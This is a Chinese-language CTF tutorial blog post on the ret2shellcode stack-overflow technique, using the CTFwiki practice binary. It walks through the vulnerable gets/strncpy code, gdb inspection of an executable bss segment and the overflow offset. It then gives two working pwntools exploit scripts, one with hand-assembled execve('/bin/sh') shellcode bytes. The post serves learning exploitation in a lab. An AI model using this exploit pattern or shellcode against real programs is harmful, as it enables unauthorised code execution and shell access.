栈溢出②-ret2shellcode

发布于 2022-12-06  90 次阅读


author: bilala

0x00 前言

踩坑:kali中似乎自动将elf文件的bss段可执行权限抹除了,然后又在Ubuntu1604中搭环境,搞了好几天

0x01 相关概念

bss段:通常是指用来存放程序中未初始化的全局变量的一块内存区域。

data段:通常是指用来存放程序中已初始化的全局变量的一块内存区域。

text段:通常是指用来存放程序执行代码的一块内存区域。(在ida中伪代码对应的汇编就是在text段)

shellcode:shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。(暂且就可理解为一段可以让我们获得shell的代码指令)

0x02 ret2shellcode原理

上一篇中有讲ret2text的前提是程序中已经给了危险函数的地址,不过如果程序中没有危险函数,那此时我们就可以写入shellcode来控制程序。写入shellcode后,再将ret返回地址改成shellcode所在的地址,那剩下的就和ret2text一样了。

前提是shellcode所在的缓冲区具有可执行权限。

再回顾一下栈溢出的过程,我们在ret2text中,脏数据是利用字符a来填充,如果我们就单单把这些脏数据替换成shellcode显然也是没用的。所以还需要程序有将这段脏数据保存到缓冲区的功能,这时我们的shellcode就从脏数据所在位置转到了缓冲区,而缓冲区又有可执行权限的话,就可以执行shellcode了。

image-20221202222426728

0x03 shellcode讲解

特开一篇,移步--> http://blog.bilala.top/?p=400

0x04 ret2shellcode例题分析

例题使用的是CTFwiki中的例题,先查看保护

image-20221206104558763

什么也没开,在ida中查看main函数逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

跟进buf2

image-20221206104814433

在bss段,且地址为0x804a080

用gdb动调文件

gdb-peda$ b main
gdb-peda$ r
gdb-peda$ vmmap

vmmap命令查看bss段权限

image-20221206105033722

可以看到变量buf2所在的地方具有执行权限,利用在ret2text中的方法计算偏移量

image-20221206111734471

还需要填充掉ebp的值,所以最终的脏数据长度为0x6C+4=0x70,可以利用pwntools中自动生成的shellcode攻击

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(0x70, 'A') + p32(buf2_addr))
sh.interactive()

当然也可以用我们在shellcode讲解中自己生成的shellcode

from pwn import *

sh = process('./ret2shellcode')
#shellcode = asm(shellcraft.sh())
shellcode = b'\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\x31\xD2\xB0\x0B\xCD\x80'
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(0x70, 'A') + p32(buf2_addr))
sh.interactive()

0x05 参考资料

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode

https://wiki.bi0s.in/pwning/stack-overflow/return-to-shellcode/#ret2shellcode